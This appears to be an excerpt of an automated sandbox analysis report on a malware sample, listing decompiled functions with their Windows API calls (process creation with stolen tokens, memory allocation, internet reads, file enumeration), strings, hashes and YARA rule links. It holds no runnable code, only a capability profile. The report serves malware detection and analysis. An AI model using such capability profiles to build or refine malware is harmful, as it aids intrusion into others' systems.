Opcode ID: 4b12a6d8d4904ce74f9c5145ffaca99b49c225ea4d5dd63d56719739f63b212b
Instruction ID: c8bcc57ae2d8a9cccb519cffa6f9d94194073d06cf5667baa168e6de9e47a6ca
Opcode Fuzzy Hash: 4b12a6d8d4904ce74f9c5145ffaca99b49c225ea4d5dd63d56719739f63b212b
Instruction Fuzzy Hash: 5F219D3271478192EB60DF26F580B9A73A4F7D9B84F449432EE8A43B19DF38C445CB80

Function 0099E6A0 Relevance: 3.0, APIs: 2, Instructions: 8networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009AA948: RevertToSelf.ADVAPI32 ref: 009AA956

InternetCloseHandle.WININET ref: 0099E6B0
InternetCloseHandle.WININET ref: 0099E6BD

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CloseHandleInternet$RevertSelf
String ID:
API String ID: 841312091-0
Opcode ID: 2ed4f708f2ae633ca0e893511461a1621bf721b5dd3249825a990886b3c25dec
Instruction ID: c1d9bec4808571e5fc70cceca728a23cb9ba717d618734765e5da3d29bacf2b9
Opcode Fuzzy Hash: 2ed4f708f2ae633ca0e893511461a1621bf721b5dd3249825a990886b3c25dec
Instruction Fuzzy Hash: 63D04C24A55900C3FA19BB16FD953A93324ABD6B69F114012D90F42373DF6C84D5C753

Function 000D0294 Relevance: 1.5, APIs: 1, Instructions: 45filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(000D0136,000D0136), ref: 000D0346

Memory Dump Source

Source File: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d0000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: f5e95f1cec49cb8295e8910afdc9cd69a30e00266090bda7aefa62782977679d
Instruction ID: 3180c2470e8bd3ded293f072d1eb4c53dd061eb4762ffc4787bcce6c50f8afca
Opcode Fuzzy Hash: f5e95f1cec49cb8295e8910afdc9cd69a30e00266090bda7aefa62782977679d
Instruction Fuzzy Hash: B7F05C2134C6461FE71595EDAC61BF606CED799320F28115BE41CC7392E954CC83C765

Function 00403040 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

Part of subcall function 004017F8: malloc.MSVCRT ref: 004017B9
Part of subcall function 004017F8: SleepEx.KERNELBASE ref: 004017CD
Part of subcall function 004017F8: GetTickCount.KERNEL32 ref: 004017FC
Part of subcall function 004017F8: CreateThread.KERNEL32 ref: 00401885

SleepEx.KERNELBASE(?,?,?,004013B4), ref: 0040305D

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: Sleep$CountCreateThreadTickmalloc
String ID:
API String ID: 345437100-0
Opcode ID: b6d36b54cf31cf0f426623e933f06735054b4a30bed8d9593c1a6858c86775c1
Instruction ID: 8364c3e29ff4e62ba415e97045e67fc6fb748e7a580f304519b0ce082c56ecd4
Opcode Fuzzy Hash: b6d36b54cf31cf0f426623e933f06735054b4a30bed8d9593c1a6858c86775c1
Instruction Fuzzy Hash: B4C022A030208880EF08B3B280AB32E0A080B08388F0C083FEF0B322E28C3CC000030E

Function 03557853 Relevance: 1.4, APIs: 1, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 035579A0

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 614a4b05fd2fcf958961d58200ae62ff8fa006310eb0dba3dbba10185b0029ad
Instruction ID: 910d0dca86248ee6b61208585bf847d44137a7cfffe4cf3b4d725d9636107594
Opcode Fuzzy Hash: 614a4b05fd2fcf958961d58200ae62ff8fa006310eb0dba3dbba10185b0029ad
Instruction Fuzzy Hash: 4F418670618B489FD784EB2CD498B2AB7E1FB9C355F44096EF889C7260D734E881CB42

Non-executed Functions

Function 009A6C98 Relevance: 64.0, APIs: 32, Strings: 4, Instructions: 969COMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32 ref: 009AA5E4
htonl.WS2_32 ref: 009AA5F3
OpenProcess.KERNEL32 ref: 009AA604
GetLastError.KERNEL32 ref: 009AA612

Strings

%s%d%d%s%s%d, xrefs: 009A765A
%s%d%d, xrefs: 009A75C4
x86, xrefs: 009A753F, 009A762A
x64, xrefs: 009A752A, 009A7538

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: htonl$ErrorLastOpenProcess
String ID: %s%d%d%s%s%d$%s%d%d$x64$x86
API String ID: 3543785021-1833344708
Opcode ID: c8c97dfc55eba45ef1c6c6993464718e573ee33c36903e71c3618c37d8cddb68
Instruction ID: e0f8f59152eabed40ff82067fb98a79ae2766deee115dd8553f4c4d35461fca8
Opcode Fuzzy Hash: c8c97dfc55eba45ef1c6c6993464718e573ee33c36903e71c3618c37d8cddb68
Instruction Fuzzy Hash: B6624721B1964082DF18DB6AAC553B962D5F7CBB80FA44525ED0E43B5AEF3CC9428BC0

Function 009B22B4 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 460COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 009B230A
_errno.LIBCMT ref: 009B2311
_invalid_parameter_noinfo.LIBCMT ref: 009B231C

Strings

U, xrefs: 009B287E

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_invalid_parameter_noinfo
String ID: U
API String ID: 3902385426-4171548499
Opcode ID: 887be5ca941d1e1bbf8005ee108c45f4cc0021591f9d338be499f64fbdbfcab3
Instruction ID: c1613d58f900eca73b4ef37bd1d1c812bcf31d3e55e96d4359860f8606f80d17
Opcode Fuzzy Hash: 887be5ca941d1e1bbf8005ee108c45f4cc0021591f9d338be499f64fbdbfcab3
Instruction Fuzzy Hash: 0102153331468586DB20CF28E6843EEB765F789BA8F500516EB8E47B69DB3DC945CB10

Function 009AED3C Relevance: 37.4, APIs: 19, Strings: 2, Instructions: 694COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 009AED9D

Part of subcall function 009AE220: _getptd.LIBCMT ref: 009AE236
Part of subcall function 009AE220: __updatetlocinfo.LIBCMT ref: 009AE26B
Part of subcall function 009AE220: __updatetmbcinfo.LIBCMT ref: 009AE292

_errno.LIBCMT ref: 009AEDA2

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

_fileno.LIBCMT ref: 009AEDCF

Part of subcall function 009B17F4: _errno.LIBCMT ref: 009B17FD
Part of subcall function 009B17F4: _invalid_parameter_noinfo.LIBCMT ref: 009B1808

write_multi_char.LIBCMT ref: 009AF40B
write_string.LIBCMT ref: 009AF428
write_multi_char.LIBCMT ref: 009AF445
write_string.LIBCMT ref: 009AF4A4
write_string.LIBCMT ref: 009AF4DB
write_multi_char.LIBCMT ref: 009AF4FD
free.LIBCMT ref: 009AF511
_isleadbyte_l.LIBCMT ref: 009AF5E2
write_char.LIBCMT ref: 009AF5F8
write_char.LIBCMT ref: 009AF619
_errno.LIBCMT ref: 009AF71C
_invalid_parameter_noinfo.LIBCMT ref: 009AF727

Strings

, xrefs: 009AF3DF
@, xrefs: 009AEDBB

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_charwrite_string$Locale_invalid_parameter_noinfowrite_char$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID: $@
API String ID: 3318157856-1077428164
Opcode ID: f8df11205d73aff79168b207964888485222e3fd07834b4b3d544df7ad576b6c
Instruction ID: 94a0a0093c9a9047545fdcb02aa2adcc2946b9229083004a78f620b503627b17
Opcode Fuzzy Hash: f8df11205d73aff79168b207964888485222e3fd07834b4b3d544df7ad576b6c
Instruction Fuzzy Hash: 6242483360869486EB24CF99D5643BE7BA8FB43794F241126EE4647A68DB3CC941CBC0

Function 009AE2C8 Relevance: 35.7, APIs: 19, Strings: 1, Instructions: 687COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 009AE329

Part of subcall function 009AE220: _getptd.LIBCMT ref: 009AE236
Part of subcall function 009AE220: __updatetlocinfo.LIBCMT ref: 009AE26B
Part of subcall function 009AE220: __updatetmbcinfo.LIBCMT ref: 009AE292

_errno.LIBCMT ref: 009AE32E

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

_fileno.LIBCMT ref: 009AE35B

Part of subcall function 009B17F4: _errno.LIBCMT ref: 009B17FD
Part of subcall function 009B17F4: _invalid_parameter_noinfo.LIBCMT ref: 009B1808

write_multi_char.LIBCMT ref: 009AE98B
write_string.LIBCMT ref: 009AE9A8
write_multi_char.LIBCMT ref: 009AE9C5
write_string.LIBCMT ref: 009AEA24
write_string.LIBCMT ref: 009AEA5B
write_multi_char.LIBCMT ref: 009AEA7D
free.LIBCMT ref: 009AEA91
_isleadbyte_l.LIBCMT ref: 009AEB62
write_char.LIBCMT ref: 009AEB78
write_char.LIBCMT ref: 009AEB99
_errno.LIBCMT ref: 009AEC93
_invalid_parameter_noinfo.LIBCMT ref: 009AEC9E

Strings

, xrefs: 009AE95F

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_charwrite_string$Locale_invalid_parameter_noinfowrite_char$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID:
API String ID: 3318157856-3916222277
Opcode ID: d2d0f6ff9d7b7a13e2b96cc577a047d14fe130a0d0a9348c75ce4f8fc2679a4f
Instruction ID: 4e41af36b0e4ac7dbad4b4bceefa8274fbe6c990517b2962014cbbbca6335b4d
Opcode Fuzzy Hash: d2d0f6ff9d7b7a13e2b96cc577a047d14fe130a0d0a9348c75ce4f8fc2679a4f
Instruction Fuzzy Hash: B332147260879486EF25CF19D5483BE7BB9F783B94F141416EE4A47AA8DB7CC940CB80

Function 0355E183 Relevance: 32.5, APIs: 16, Strings: 2, Instructions: 1030COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0355E1E4

Part of subcall function 0355D667: _getptd.LIBCMT ref: 0355D67D
Part of subcall function 0355D667: __updatetlocinfo.LIBCMT ref: 0355D6B2
Part of subcall function 0355D667: __updatetmbcinfo.LIBCMT ref: 0355D6D9

_errno.LIBCMT ref: 0355E1E9

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

_fileno.LIBCMT ref: 0355E216

Part of subcall function 03560C3B: _errno.LIBCMT ref: 03560C44
Part of subcall function 03560C3B: _invalid_parameter_noinfo.LIBCMT ref: 03560C4F

write_multi_char.LIBCMT ref: 0355E852
write_string.LIBCMT ref: 0355E86F
write_multi_char.LIBCMT ref: 0355E88C
write_string.LIBCMT ref: 0355E8EB
write_multi_char.LIBCMT ref: 0355E944
free.LIBCMT ref: 0355E958
_isleadbyte_l.LIBCMT ref: 0355EA29
write_char.LIBCMT ref: 0355EA3F
write_char.LIBCMT ref: 0355EA60
_errno.LIBCMT ref: 0355EB63
_invalid_parameter_noinfo.LIBCMT ref: 0355EB6E

Strings

@, xrefs: 0355E202
, xrefs: 0355E826

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_char$Locale_invalid_parameter_noinfowrite_charwrite_string$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID: $@
API String ID: 2950348734-1077428164
Opcode ID: 07341e3732a2750f25fb6a453c6349766dbff6c117d6dfe3209b03da8e3e77c7
Instruction ID: 4c1ec9f2ee031a568fc25aed4152c2b794d65ece9174f9dc623e40e23dfbcf3a
Opcode Fuzzy Hash: 07341e3732a2750f25fb6a453c6349766dbff6c117d6dfe3209b03da8e3e77c7
Instruction Fuzzy Hash: CA52F930918B498ADB2DCB58E4662F9B7E5FB96310F18062FFCC7C7161D734B6028682

Function 0355D70F Relevance: 30.8, APIs: 16, Strings: 1, Instructions: 1022COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0355D770

Part of subcall function 0355D667: _getptd.LIBCMT ref: 0355D67D
Part of subcall function 0355D667: __updatetlocinfo.LIBCMT ref: 0355D6B2
Part of subcall function 0355D667: __updatetmbcinfo.LIBCMT ref: 0355D6D9

_errno.LIBCMT ref: 0355D775

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

_fileno.LIBCMT ref: 0355D7A2

Part of subcall function 03560C3B: _errno.LIBCMT ref: 03560C44
Part of subcall function 03560C3B: _invalid_parameter_noinfo.LIBCMT ref: 03560C4F

write_multi_char.LIBCMT ref: 0355DDD2
write_string.LIBCMT ref: 0355DDEF
write_multi_char.LIBCMT ref: 0355DE0C
write_string.LIBCMT ref: 0355DE6B
write_multi_char.LIBCMT ref: 0355DEC4
free.LIBCMT ref: 0355DED8
_isleadbyte_l.LIBCMT ref: 0355DFA9
write_char.LIBCMT ref: 0355DFBF
write_char.LIBCMT ref: 0355DFE0
_errno.LIBCMT ref: 0355E0DA
_invalid_parameter_noinfo.LIBCMT ref: 0355E0E5

Strings

, xrefs: 0355DDA6

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_char$Locale_invalid_parameter_noinfowrite_charwrite_string$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID:
API String ID: 2950348734-3916222277
Opcode ID: 44556820cebba1103ceb5094a228a3c63f1b381211d8945892cc43e8bddeb570
Instruction ID: e63c9b5365ebda20b479dd6505f216d68faaf03fbb5b46570da9b76ef3619083
Opcode Fuzzy Hash: 44556820cebba1103ceb5094a228a3c63f1b381211d8945892cc43e8bddeb570
Instruction Fuzzy Hash: 5952F732918B498BD72CDB5CE4652BAB7F5FB95310F18462FEC87C7271D635B8028642

Function 009A61A8 Relevance: 26.0, APIs: 10, Strings: 7, Instructions: 545COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 009A63D6
_snprintf.LIBCMT ref: 009A63F3
_snprintf.LIBCMT ref: 009A6315

Part of subcall function 009AB5DC: _errno.LIBCMT ref: 009AB613
Part of subcall function 009AB5DC: _invalid_parameter_noinfo.LIBCMT ref: 009AB61E

_snprintf.LIBCMT ref: 009A6648
_snprintf.LIBCMT ref: 009A69A4

Strings

%s%s: %s, xrefs: 009A6304
?%s, xrefs: 009A68C7
%s&%s, xrefs: 009A68DA
%s&%s=%s, xrefs: 009A63E7
%s%s, xrefs: 009A6637, 009A6661, 009A6805, 009A6996
%s%s, xrefs: 009A6747
?%s=%s, xrefs: 009A63CA

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _snprintf$_errno_invalid_parameter_noinfo
String ID: %s%s$%s%s$%s%s: %s$%s&%s$%s&%s=%s$?%s$?%s=%s
API String ID: 3442832105-1222817042
Opcode ID: 636a98fa85514209f70005b04ca8ead89b4190e8157d1dcb912aa2d8a0183636
Instruction ID: facee8a715216637f8d56909faf2ff4f67f24f2fa9d633588f81edd1b8e74017
Opcode Fuzzy Hash: 636a98fa85514209f70005b04ca8ead89b4190e8157d1dcb912aa2d8a0183636
Instruction Fuzzy Hash: 0D32BC62614E8592EB159F2DE0013E9B3B0FFDA799F045501EF8917B25EF38D2A6C780

Function 009A0ED4 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 150filetimeCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 009A0F07

Part of subcall function 009AB228: _FF_MSGBANNER.LIBCMT ref: 009AB258
Part of subcall function 009AB228: _NMSG_WRITE.LIBCMT ref: 009AB262
Part of subcall function 009AB228: HeapAlloc.KERNEL32 ref: 009AB27D
Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB296
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2A1
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2AC

Part of subcall function 0099CFCC: malloc.LIBCMT ref: 0099CFDF

Part of subcall function 0099CFFC: htonl.WS2_32 ref: 0099D007

GetCurrentDirectoryA.KERNEL32 ref: 009A0F7F
FindFirstFileA.KERNEL32 ref: 009A0FB8
GetLastError.KERNEL32 ref: 009A0FC7
free.LIBCMT ref: 009A1002
free.LIBCMT ref: 009A100F

Part of subcall function 009AB1E8: HeapFree.KERNEL32 ref: 009AB1FE
Part of subcall function 009AB1E8: _errno.LIBCMT ref: 009AB208
Part of subcall function 009AB1E8: GetLastError.KERNEL32 ref: 009AB210

FileTimeToSystemTime.KERNEL32 ref: 009A101C
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 009A102D
FindNextFileA.KERNEL32 ref: 009A10EA
FindClose.KERNEL32 ref: 009A10FB

Strings

D0%02d/%02d/%02d %02d:%02d:%02d%s, xrefs: 009A106F
F%I64d%02d/%02d/%02d %02d:%02d:%02d%s, xrefs: 009A10CD
.\*, xrefs: 009A0F63
%s, xrefs: 009A0F9D

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Time$FileFind_errno$ErrorHeapLastSystemfreemalloc$AllocCloseCurrentDirectoryFirstFreeLocalNextSpecific_callnewhhtonl
String ID: %s$.\*$D0%02d/%02d/%02d %02d:%02d:%02d%s$F%I64d%02d/%02d/%02d %02d:%02d:%02d%s
API String ID: 723279517-1754256099
Opcode ID: 6ee2af1134a4c9c9c702069b3ed1fb112293960f288e153385e9598e844af32e
Instruction ID: cf4c7814f8bdc95587fb10a2d6d4fe89b829ca06e4dabf30b505146e1bd2a191
Opcode Fuzzy Hash: 6ee2af1134a4c9c9c702069b3ed1fb112293960f288e153385e9598e844af32e
Instruction Fuzzy Hash: E451AB7230879486DB10DF66E8803AEB7A5F7C6B94F504016EE4A43B99EF7CC606CB40

Function 009A01E8 Relevance: 18.2, APIs: 12, Instructions: 157processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserA.ADVAPI32 ref: 009A0243
GetLastError.KERNEL32 ref: 009A0251
GetLastError.KERNEL32 ref: 009A0275

Part of subcall function 0099F9F4: MultiByteToWideChar.KERNEL32 ref: 0099FA21
Part of subcall function 0099F9F4: MultiByteToWideChar.KERNEL32 ref: 0099FA49

CreateProcessA.KERNEL32 ref: 009A02C7
GetLastError.KERNEL32 ref: 009A02D1
GetCurrentDirectoryW.KERNEL32 ref: 009A0625
GetCurrentDirectoryW.KERNEL32 ref: 009A063F
CreateProcessWithTokenW.ADVAPI32 ref: 009A0683

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CreateErrorLastProcess$ByteCharCurrentDirectoryMultiWide$TokenUserWith
String ID:
API String ID: 3044875250-0
Opcode ID: b4dadb2b0a0afafdc6fb41f1df9c6971b84a1ac73c104075e8593cd40dbcaad4
Instruction ID: 6e53dc58f6fd4c8fafcdafd9214e88f38d9d6f8359a0955e11516f6e09dae816
Opcode Fuzzy Hash: b4dadb2b0a0afafdc6fb41f1df9c6971b84a1ac73c104075e8593cd40dbcaad4
Instruction Fuzzy Hash: EC61AF32608B44C2EB20DF65E84436E73A9F7C9F98F104526EA4987759DF7CC895CB80

Function 009A779C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 87fileCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 009A77CB

Part of subcall function 009AB228: _FF_MSGBANNER.LIBCMT ref: 009AB258
Part of subcall function 009AB228: _NMSG_WRITE.LIBCMT ref: 009AB262
Part of subcall function 009AB228: HeapAlloc.KERNEL32 ref: 009AB27D
Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB296
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2A1
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2AC

_snprintf.LIBCMT ref: 009A77E3

Part of subcall function 009AB5DC: _errno.LIBCMT ref: 009AB613
Part of subcall function 009AB5DC: _invalid_parameter_noinfo.LIBCMT ref: 009AB61E

FindFirstFileA.KERNEL32 ref: 009A77EE
free.LIBCMT ref: 009A77FA

Part of subcall function 009AB1E8: HeapFree.KERNEL32 ref: 009AB1FE
Part of subcall function 009AB1E8: _errno.LIBCMT ref: 009AB208
Part of subcall function 009AB1E8: GetLastError.KERNEL32 ref: 009AB210

malloc.LIBCMT ref: 009A784A
_snprintf.LIBCMT ref: 009A7862
free.LIBCMT ref: 009A788A
FindNextFileA.KERNEL32 ref: 009A78A3
FindClose.KERNEL32 ref: 009A78B4

Strings

%s\*, xrefs: 009A77D0

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$Find$FileHeap_snprintffreemalloc$AllocCloseErrorFirstFreeLastNext_callnewh_invalid_parameter_noinfo
String ID: %s\*
API String ID: 2620626937-766152087
Opcode ID: 23b6a88991eaeecb41de4e49958cb864f07ba82b9ceb48e7eb1550cb5c125ff7
Instruction ID: 947921e07bb5467ebd1a843e2f383b73829f4cbe01c4e89a8ff1dcdcbb921f7f
Opcode Fuzzy Hash: 23b6a88991eaeecb41de4e49958cb864f07ba82b9ceb48e7eb1550cb5c125ff7
Instruction Fuzzy Hash: 1B3101212082C049EA489BA73D193B9BF29B787FE0F884111DEA90BB56CF3CC402C344

Function 00401A70 Relevance: 12.0, APIs: 8, Instructions: 50COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00401A84
RtlLookupFunctionEntry.KERNEL32 ref: 00401A9B
RtlVirtualUnwind.KERNEL32 ref: 00401ADD
SetUnhandledExceptionFilter.KERNEL32 ref: 00401B21
UnhandledExceptionFilter.KERNEL32 ref: 00401B2E
GetCurrentProcess.KERNEL32 ref: 00401B34
TerminateProcess.KERNEL32 ref: 00401B42
abort.MSVCRT ref: 00401B48

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
